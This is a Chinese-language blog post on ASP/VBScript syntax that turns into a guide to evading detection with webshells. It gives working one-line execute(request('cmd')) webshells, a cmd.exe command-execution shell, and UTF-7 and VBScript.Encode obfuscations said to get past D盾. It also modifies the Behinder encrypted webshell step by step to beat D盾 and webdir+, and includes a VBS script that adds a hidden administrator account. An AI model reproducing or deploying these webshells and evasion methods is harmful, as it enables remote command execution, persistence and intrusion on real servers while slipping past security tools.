ASP其实是非常灵活的一种语言。说来惭愧,直没有接触过VBS/ASP的相关学习,遇上的很少,不超过5次吧,但是考虑到要成为一个全面的人,因此花了点时间总结下。
ASP和VBS一个运行在服务端,一个运行在客户端,有个别函数用法不同,其他都差不多。
学习了之后我们可以使用在bypass客户端来进行一些操作,如添加用户等,可以bypass服务端学习asp一句话免杀,IIS服务器默认可运行asp服务端脚本。
一、基础语法
1、取值
//dim定义,可以定义函数,布尔,数字,整形
Dim str: str="xxx"
dim str as sssss
Dim name,age
name="111"
age="18"
//set也是赋值,但是一般是给特殊的数据类型
set conn=server.createobject("adodb.connection")
//定义数组
dim a(5)
//从get取值
request.querystring("name")
request()
request.item("c")
//从post取值
request.form("lname")
//从cookie
Request.Cookies("firstname")
DIM一般用于声明变量,如:dim 变量名 as 数据类型
SET一般用于给一些特殊的数据类型赋值
2、定义函数
Function b():
response.write("xxxx")
End Function
b()
3、创造类
Class myclass
Private Sub Class_Initialize //类开始时执行的方法
response.write("xxxx")
End Sub
private sub class_terminate() //类结束的方法
response.write "类结束了<br>"
End sub
End Class
4、循环
<%
dim i
i=0
dim sum
sum=0
for i=1 to 10
sum=sum+i
response.write(sum&chr(10) )
next
%>
5、创造组件实例
如下所示,asp的一些功能需要调用实例,这个有点类似于其他语言里面的导包
Server.CreateObject("Scripting.FileSystemObject") //调用文件控制组件
Server.CreateObject("Scripting.Dictionary") //调用键值对对象
CreateObject("WScript.Shell") //调用wscript组件,利用它可以操作注册表,执行命令等
如下代码直接放入1.vbs执行便会弹出计算机,在Web端也会弹出计算器在任务管理器里,但是不会直接看到
dim oShell,cmd
Set oShell = CreateObject("WSCript.shell")
cmd="calc.exe"
call oShell.exec(cmd)
6、文字处理函数
函数 描述
InStr 返回字符串在另一字符串中首次出现的位置。检索从字符串的第一个字符开始。
InStrRev 返回字符串在另一字符串中首次出现的位置。检索从字符串的最末字符开始。
LCase 把指定字符串转换为小写。
Left 从字符串的左侧返回指定数目的字符。
Len 返回字符串中的字符数目。
LTrim 删除字符串左侧的空格。
RTrim 删除字符串右侧的空格。
Trim 删除字符串左侧和右侧的空格。
Mid 从字符串返回指定数目的字符。
Replace 使用另外一个字符串替换字符串的指定部分指定的次数。
Right 返回从字符串右侧开始指定数目的字符。
Space 返回由指定数目的空格组成的字符串。
StrComp 比较两个字符串,返回代表比较结果的一个值。
String 返回包含指定长度的重复字符的字符串。
StrReverse 反转字符串。
UCase 把指定的字符串转换为大写。
二、ASP的脚本引擎能力
Asp具备管理不同语言脚本程序的能力,能够自动调用合适的脚本引擎以解释脚本代码和执行内置函数。Asp开发环境提供了两种脚本引擎,即vbscript(默认)和Jscript(注意这里是JScript,而不是javascript,不过都差不多,只不过一个是微软自己开发的),当然你也可以调用javascript,甚至Perl等脚本语言(需要安装扩展)。
如下脚本,就是使用asp脚本调用了javascript的引擎,从而可以执行特定的脚本,如果删掉第一行,那么该服务端就会报错。
<%@ language="javascript" %>
<!DOCTYPE html>
<html>
<head>
<%
function jsproc(num1,num2)
{
Response.Write(num1*num2)
}
%>
</head>
<p>Result: <%jsproc(3,4)%></p>
</html>
如下代码,使用了javascript引擎,而javascript引擎对大小写敏感,如1.asp此时就会报错,而2.asp此时就不会
错误的,因为没有使用完整的大小写
<%@ language="javascript" %>
<%
response.write("Hello World!")
%>
正确的
<%@ language="Javascript" %>
<%
Response.Write("Hello World!")
/*asdasasdasda
d*/
%>
正确的
<%@ language="vbs" %>
<%
reSponsE.wRite("Hello World!")
%>
1、默认支持的标签
ASP脚本中的代码块一般被包裹在<% %>标签中,默认以VBscript语言进行解释。引号可以去掉。
<script language="VBScript" runat="server">
xxxx
</script>
<script language=vbs runat=server>
xxx
</script>
<%@ language=vbs %>
<%@ language="VBscript" %>
<%@ LANGUAGE = VBScript.Encode %>
2、注释
' 单引号 (单行注释)
REM rem+空格 (单行注释)
// 双斜线 (单行注释,VBscript,JScript可用,仅支持IIS)
<!-- --> HTML注释符 (单行注释,VBscript可用,仅支持IIS)
/* */ 多行注释符 (多行注释,JScript可用)
三、ASP和ASPX之间没有的小玩意
ASP和ASPX的关系处于纠缠态的,有时候含糊不清,虽然不影响大家RCE。
关于ASP和ASPX的一个简单说明
1、aspx不能执行asp相关语法,asp也不可以执行aspx的语法(除了个别一样的函数)
<%
dim aaa
aaa="sdasdasda"
//for i=1 to 10
//response.write(time())
response.write(aaa)
Response.Write(DateTime.Now.Date.ToShortDateString())
%>
//如上面的dim这种是支持在aspx下运行的,但是其他的就都不行了,例如for循环
3、分号的问题
asp默认语法是不支持分号的,一个分号也不行,只有@language=jscript之类的前缀的支持分号。
4、aspx后缀+无前缀说明支持REM注释
在这种情况下,aspx后缀支持rem xxx和单引号来进行注释,不支持// , /**/ , <!—>
如下所示
<%
dim aaa
aaa="sdasdasda"
response.write(aaa)
Response.Write("Test")
rem asdasdasdasdsaasdasdasdas
' asdasdasd
%>
这个特性我不知道有啥用,aspx后缀支持asp的注释却又不支持asp的语法,而想要用aspx的语法又必须加上c#,加上c#后又不能支持asp的注释了。
4、aspx不必闭合
asp不闭合就报错了,而如果使用的是aspx后缀
<%execute request("cmd")%>
四、ASP一句话木马免杀
ASP执行下面这三个函数的时候,其实就是将传入的字符串内容将asp语法进行戒子,一句话连接的时候,会再调用真正命令执行的函数,类似PHP中的eval调用system。
ExecuteGlobal
eval
execute
<%execute request("cmd")%>
1、换行分割
如下所示,和其他语言不同的是不可以直接换行,而是需要在换行的“点”处添加“_”符号,如下
response.write("iceice")
Response._
Write("iceice")
Response._
_
_
Write("iceice")
2、拼接特性
对于包裹在双引号里面的字符串,可以支持拼接,例如,并且asp支持chr类型替换所有的字符,因此可以的避免某些request.item(“c”)字符串关键字
Response.Write("Test"++++++"asdasdas"&"cccccccccccccccc"&""&chr(97))
3、使用EVAL的命令执行
使用eval的话实际上还是调用wscript.shell来执行命令,类似于php里的system
<%
set stm=server.CreateObject("adodb.stream")
set oScript =CreateObject("WSCRIPT.SHELL")
dim file
file="C:\\ProgramData\\1.txt"
dim command
command=request("command")
call oScript.run("cmd.exe /c " & command&" > " & file, 0, True)
'命令执行
stm.Type=2
stm.mode=3
stm.charset="gbk"
'stm.charset="utf-8"
stm.open
stm.loadfromfile(file)
str=stm.readtext
stm.Close
Response.Write(str)
%>
像这种方式的Webshell 在D盾是没有“记录在案”的,但是值得注意的是,使用上面这种方式执行CALC的话,在我本地直接把IIS服务搞崩了,大概原因可能是执行这类命令后台回等待calc的结束,只有关掉后才能继续运行。
关于wscript.shell里的run和exec的区别
https://www.cnblogs.com/swek/articles/4337999.html
4、奇怪的冒号
:代表另起一行。
就是指上一条语句执行完毕。
一个奇怪的启发,asp作为容错性特别低的语言,一旦有些奇奇怪怪的东西就会影响这个语句的解析,但是发现:::::在语句前后后加入,并不会影响其解析;而:::ssssasdas::::也不会影响解析,目前测试过eval这类函数除外
<%
:::::execute(request("cmd"))::::::::::xasdasdas::::::::::asdasdas::::::::x:
:::::adasdasd::
:::::adasdasd::response.write("asdsad"):::::adasdasd::
::::sss:adasdasd::now():::::adasdasd::
%>
具体表现形式如下所示
ASP的编码特性
https://blog.csdn.net/weixin_40133121/article/details/108595440
codepage=936 简体中文gbk
codepage=950 繁体中文big5
codepage=437 美国/加拿大英语
codepage=932 日文
codepage=949 韩文
codepage=866 俄文
codepage=65001 unicode uft-8
UTF7特性
asp语法支持utf-7编码,65000为指定utf7-的编码模式
<%@codepage=65000%>
<%r+k-es+k-p+k-on+k-se.co+k-d+k-e+k-p+k-age=936:e+k-v+k-a+k-l r+k-e+k-q+k-u+k-e+k-s+k-t("cmd")%>
如下所示,Utf-7如果遇到+xx- 且xx的长度不超过2,则会变为空字符
<%@codepage=65000%>
<%e+ss-v+k-a+k-l r+k-e+ka-q+k-u+k-e+kd-s+ks-t("cmd")+xx-+xx-+xx-+x-%>
也可以变为下面这种格式的UTF-7
<%
execute request("cmd")
%>
变为
<%@codepage=65000%>
<%
+AGUAeABlAGMAdQB0AGUAIAByAGUAcQB1AGUAcwB0ACgAIgBjAG0AZAAiACk-
%>
可以将上述两者进行结合,加上@@@来绕过,D盾也检测不出来。
<%@@@@@@@@@@codepage=65000%>
<%
+AGUAdgBhAGw-(r+k-e+k-q+k-u+k-e+k-s+k-t("cmd"))
%>
SCRENC工具
screnc 是来自微软的原生加密工具,但是我找到该工具使用的时候,我怎么用也用不了。
http://bcn.bathome.net/s/tool/index.html?key=screnc
MsgBox 123
将变成
#@~^CgAAAA==\ko$K6,F 2BgMAAA==^#~@
使用这类Webshell时需要添加标头前缀
<script language="VBScript.Encode">
#@~^KQAAAA==@#@&j1D
bwYc214W,J3x1W[roPbdP1WW^ZZJ@#@&PQsAAA==^#~@</script>
ASP对如果在文件头声明中发现VBScript.Encode,同时在之后的内容中检测到#@~^ ….. ^#~@
则自动对#@~^(…..内容)^#~@中的密文进行解密并解释执行
字符串处理工具
混淆工具:https://github.com/sevagas/macro_pack
冰蝎asp脚本简单修改
该脚本在3.0 beta 6可以成功连接,在3.7乃至最新版都连接不了(天蝎shell管理也可以加密连上)
<%
Response.CharSet = "UTF-8"
k="e45e329feb5d925b" '该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
Session("k")=k
size=Request.TotalBytes
content=Request.BinaryRead(size)
For i=1 To size
result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))
Next
execute(result)
%>
D盾检测冰蝎实在是离谱,居然检测的是关键字result,将result改为r就绕过了,着实无语
<%
Response.CharSet = "UTF-8"
k="e45e329feb5d925b" '该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
Session("k")=k
size=Request.TotalBytes
content=Request.BinaryRead(size)
For i=1 To size
r=r&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))
Next
execute(r)
%>
接着Bypass webdir+ ,经过定位多次后定位到了这一句
r=r&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))
对于asp并没有那么高科技的语法树支持,因此只需简单去掉一些关键字即可
<%
Response.CharSet = "UTF-8"
k="e45e329feb5d925b"
Session("k")=k
size=Request.TotalBytes
content=Request.BinaryRead(size)
For i=1 To size
z=Asc(Mid(k,(i and 15)+1,1))
c=ascb(midb(content,i,1))
r=r&Chr( c Xor z)
Next
execute(r)
%>
并且,上面bypass使用的还只是最简单的字符替换,我们之前学的特性,拼接,换行,以及自定义方法,数组,字符处理函数,UTF-7还都一个都没有用呢,这些组合起来相信短时间内可以Bypass市面上所有针对asp的waf了。
相比aspx,针对asp的免杀的确是小了很多。
wscript和cscript的区别
都可以直接在客户端上运行VBS脚本,区别在于一个使用框框弹出来,一个使用控制台打印出来
再简单介绍一个VBS脚本吧,VBS的语法和ASP的语法是一样的,我们可以通过调用一些函数来操作系统API。
Set wsnetwork=CreateObject("WS"&"CR"&"IPT"&"."&"NET"&"WO"&"RK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","iiice")
Const strPassword = "123456"
od.SetPassword strPassword
od.SetInfo
Set of=GetObject(os&"/iiice",user)
oe.add os&"/iiice"
查看3389
Dim ReadComputerName
Set ReadComputerName=WScript.CreateObject("WScript.Shell")
Dim TSName,TSRegPath
TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber"
TSName=ReadComputerName.RegRead(TSRegPath)
WScript.Echo("TermService port is:"&TSName)
参考资料
https://www.w3school.com.cn/asp/asp_syntax.asp
https://xz.aliyun.com/t/5193
https://xz.aliyun.com/t/2356